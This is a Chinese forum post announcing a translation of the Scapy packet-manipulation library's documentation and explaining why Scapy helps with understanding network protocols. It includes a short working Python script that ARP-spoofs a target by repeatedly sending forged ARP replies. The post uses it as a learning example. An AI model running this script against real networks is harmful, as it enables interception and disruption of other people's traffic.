Scapy中文使用文档 (WOOYUN)

  • A+
所属分类:WooYun-Zone

Larry Scapy中文使用文档  (WOOYUN) | 2015-10-25 17:35

Scapy中文文档Github地址:https://github.com/Larryxi/Scapy_zh-cn

经常用Python搞网络协议编程的同学肯定对Scapy很熟悉。Scapy是一个Python应用程序,它可以使用户发送,嗅探,剖析和伪造数据包,也可以用来构造探测,扫描或攻击的网络工具。

和其他的网络工具相比,Scapy的特殊之处在于:
1. 大多数的网络工具都是用于特殊目的,你不能用来做一些作者没有预想到事。(废话)而且当你需要用于其他目的的时候你又要寻找另一个新工具了。(编程)
2. Scapy只是解码而不是解释。很多时候他们都把解码和解释混为一谈,解码出来的是真正在网络上传输的数据,而解释是又加了一层人的理解,每个人的目的和理解的角度不同,就有可能得到不同的结果,也就让想要打破砂锅问到底的你追求不到本质。(溯源)
3. 有些程序给原始数据也给得不全,因为还是有一些作者意识在上面。(完整性)

所以想要透彻地理解网络协议就得去看实实在在的数据包,对这些数据包进行分析理解,加上你的“解释”去编程,相信是会有更加深层次的理解的:)

一个简单的例子(from:Python网络攻防之第二层攻击):

#!/usr/bin/python
import sys
import time
from scapy.all import sendp, ARP, Ether    

if len(sys.argv) < 3:
    print sys.argv[0] + ": <target> <spoof_ip>"
    sys.exit(1)    

iface = "eth0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]    

ethernet = Ether()
arp = ARP(pdst=target_ip,
                psrc=fake_ip,
                op="is-at")
packet = ethernet / arp    

while True:
        sendp(packet, iface=iface)
        time.sleep(10)

因为要学习Scapy,所以就把使用文档简单翻译了一下,也算是文档翻译了吧,希望对学习的同学有所帮助,如有错误还请指出哈。

分享到: